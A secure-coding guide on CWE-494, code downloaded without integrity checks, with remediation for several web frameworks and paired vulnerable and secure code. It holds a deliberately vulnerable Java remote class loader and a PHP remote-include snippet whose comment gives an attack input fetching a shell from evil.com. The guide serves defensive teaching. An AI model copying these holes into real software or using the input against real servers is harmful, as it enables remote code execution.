This vulnerability occurs when an application downloads or includes code from an external source (like a CDN, third-party repository, or update server) without verifying its integrity. If the external source is compromised, or if an attacker can perform a Man-in-the-Middle (MitM) attack, they can substitute the legitimate code with a malicious version. The application, trusting the source, then executes the malicious code, leading to attacks like Cross-Site Scripting (XSS), data theft, or complete system compromise. 🌐📥➡️😈
Failure to check code integrity can lead to severe supply chain attacks:
Client-Side Attacks (XSS): If a CDN-hosted JavaScript library is compromised, the attacker’s script runs on every user’s browser, potentially stealing credentials, session cookies, or PII.
Server-Side Attacks (RCE): If a server-side auto-update mechanism or remote file include downloads and executes malicious code, the attacker can gain full control of the server.
Loss of Trust: Users and customers trust that the application’s code is legitimate. A breach originating from a compromised dependency erodes this trust.
Reference Details
CWE ID:CWE-494Related CWEs: CWE-829 (Untrusted Control Sphere), CWE-345 (Data Authenticity)
OWASP Top 10 (2021): A08:2021 - Software and Data Integrity Failures
Severity: High to Critical
Client-Side (Frontend): Including scripts or stylesheets from CDNs without using Subresource Integrity (SRI).
Server-Side (Backend): Implementing insecure auto-update features, or dynamically include/require-ing code from remote URLs (e.g., common in PHP).
Remediation:
Client-Side: Always use the integrity attribute (with a SHA hash) in <script> and <link> tags when loading resources from external CDNs.
Server-Side: Do not include/execute code from remote URLs. If auto-updates are necessary, download packages over HTTPS, verify their digital signatures (e.g., GPG, RSA) against a trusted public key, and check file hashes against a secure manifest.
This is less common in Python frameworks themselves but can occur in deployment scripts or custom application logic that fetches resources. The primary risk is often client-side (in Django/Flask templates).
Templates: Add the integrity and crossorigin attributes to all <script> and <link rel="stylesheet"> tags loading from external CDNs.
Server-Side: Download updates over HTTPS. Validate signatures using a trusted public key (e.g., using gnupg or cryptography libraries) and check SHA hashes against a manifest file (also downloaded securely). Do not use exec() on untrusted code.
Scan HTML templates for <script src="..."> and <link rel="stylesheet" href="..."> tags loading from external domains. Ensure they have integrity and crossorigin attributes. Review server-side code for file downloads (requests.get, urllib.request) followed by execution (exec, os.system, subprocess) or loading (pickle.load). Verify signatures and hash checks are performed on downloaded code/packages.
Vulnerable Scenario 2: Insecure Remote Class Loading
// service/PluginLoader.javaimport java.net.URL;import java.net.URLClassLoader;public Object loadPluginFromUrl(String urlString) throws Exception { // DANGEROUS: URL loads code from an external source. // If 'urlString' is attacker-controlled or served over HTTP (MitM), // malicious code can be loaded and executed. URL url = new URL(urlString); URLClassLoader classLoader = new URLClassLoader(new URL[]{url}); Class<?> pluginClass = classLoader.loadClass("com.example.plugin.MainPlugin"); // RCE occurs upon instantiation or method call Object pluginInstance = pluginClass.getDeclaredConstructor().newInstance(); // ... use pluginInstance ... return pluginInstance;}
Client-Side: Add integrity (SHA hash) and crossorigin attributes to all <script> and <link> tags loading from CDNs.
Server-Side:Avoid loading code from remote URLs (URLClassLoader from untrusted sources). Download dependencies securely via build tools (Maven, Gradle) which support hash/signature verification. If auto-updates are essential, download over HTTPS and validate digital signatures (e.g., using java.security.Signature) and hashes against a secure manifest.
// service/PluginLoader.java (Secure - Local Loading)import java.net.URL;import java.net.URLClassLoader;import java.nio.file.Path;import java.nio.file.Paths;public Object loadPluginFromLocal(String pluginJarName) throws Exception { // SECURE: Validate pluginJarName against an allow-list of known plugins. if (!isAllowedPlugin(pluginJarName)) { // Assume isAllowedPlugin exists throw new SecurityException("Plugin not allowed."); } // SECURE: Load plugin only from a trusted, local directory // after it has been securely downloaded and verified (hash/signature). Path pluginPath = Paths.get("/opt/myapp/plugins/", pluginJarName).normalize(); if (!pluginPath.startsWith("/opt/myapp/plugins/")) { throw new SecurityException("Invalid plugin path."); } URL url = pluginPath.toUri().toURL(); // Ensure parent classloader is restricted if needed URLClassLoader classLoader = new URLClassLoader(new URL[]{url}, ClassLoader.getSystemClassLoader()); Class<?> pluginClass = classLoader.loadClass("com.example.plugin.MainPlugin"); Object pluginInstance = pluginClass.getDeclaredConstructor().newInstance(); // ... use pluginInstance ... return pluginInstance;}// Assume isAllowedPlugin(String) method exists and checks against a list
Scan frontend templates (JSP, Thymeleaf, HTML) for external <script> and <link> tags. Verify integrity and crossorigin attributes are present and correct. Review server-side code for URLClassLoader, java.net.URL.openStream() combined with class loading, or any custom “auto-update” logic. Check if downloaded code/JARs are verified using digital signatures or hashes from a secure source before being loaded or executed.
Client-side risk in Razor views (.cshtml) missing SRI. Server-side risk in custom auto-update logic or insecure Assembly.Load() from remote/untrusted sources.
Client-Side: Manually add integrity="..." and crossorigin="anonymous" attributes to <script> and <link> tags. ASP.NET Core Tag Helpers for CDN fallback also support SRI via asp-subresource-integrity.
Server-Side:Strongly name assemblies and verify signatures before loading. Download updates over HTTPS, check hashes, and verify digital signatures (Authenticode) using .NET APIs before using Assembly.Load(). Load assemblies only from trusted, access-controlled directories.
Scan Razor views (.cshtml) for external <script>/<link> tags missing integrity/crossorigin. Review code for Assembly.LoadFrom or Assembly.LoadFile. Check if the source path is untrusted, and if signature/hash verification is performed before loading.
Client-side risk in templates (Blade, Twig) missing SRI. Server-side risk via include / require with remote URLs enabled (allow_url_include=On in php.ini) or insecure auto-updaters.
<?php// index.php// DANGEROUS: allow_url_include is enabled in php.ini// ini_set('allow_url_include', 'On'); // Or set in php.ini$module = $_GET['module'] ?? 'home';// DANGEROUS: Includes file based on user input, which could be a remote URL.// Input: ?module=[http://evil.com/shell.txt](http://evil.com/shell.txt)// This executes the remote file's content as PHP code.include($module . '.php');?>
Client-Side: Add integrity and crossorigin attributes to all <script> and <link> tags loading from CDNs in Blade/Twig templates.
Server-Side:Ensure allow_url_include = Off in your production php.ini (this is the default and most critical defense against RFI). Never include/require paths constructed from user input; use an allow-list of local files. For auto-updates, download over HTTPS and verify signatures/hashes (openssl_verify, hash_file) before replacing files.
; php.ini (Secure - RFI Disabled); SECURE: Ensure this is Off in production (default).allow_url_include = Off; allow_url_fopen = On (Often needed, but keep url_include Off)
Scan templates for external <script>/<link> tags missing integrity/crossorigin. Check php.ini settings for allow_url_include. Test include/require parameters with remote URLs (http://...). Check auto-update logic for HTTPS downloads and signature/hash verification.
Client-side risk in templates (EJS, Pug, Handlebars) missing SRI. Server-side risk from insecurely using require() with dynamic paths or custom auto-updaters.
Client-Side: Add integrity and crossorigin attributes to all external <script>/<link> tags in templates.
Server-Side:Never use require() with paths constructed directly from user input. Use a strict allow-list of module names. Handle auto-updates by downloading over HTTPS, verifying signatures/hashes using Node’s crypto module, and then replacing files (requires restart or careful handling).
Scan templates (EJS, Pug, etc.) for external <script>/<link> tags missing integrity/crossorigin. Review server-side code for require() calls using dynamic paths derived from user input. Check auto-update logic for HTTPS, signature verification, and hash checking.
Client-side risk in ERB/Slim/Haml templates missing SRI. Server-side risk from Kernel.load or require with untrusted paths, or insecure auto-update mechanisms.
Client-Side: Manually add integrity and crossorigin attributes. javascript_include_tag does not automatically add SRI based on URL; you may need to use plain <script> tags for external resources.
Server-Side:Never use load or require with paths derived directly from user input. Use a strict allow-list of filenames, File.basename to strip paths, and ensure files are loaded from a secure, non-writable directory. Verify downloaded code/gems using checksums/signatures.
Scan ERB/Slim/Haml templates for external <script>/<link> tags missing integrity/crossorigin. Review code for load, require, eval using dynamic paths. Test parameters with path traversal payloads (../..). Check update logic for HTTPS and signature/hash validation.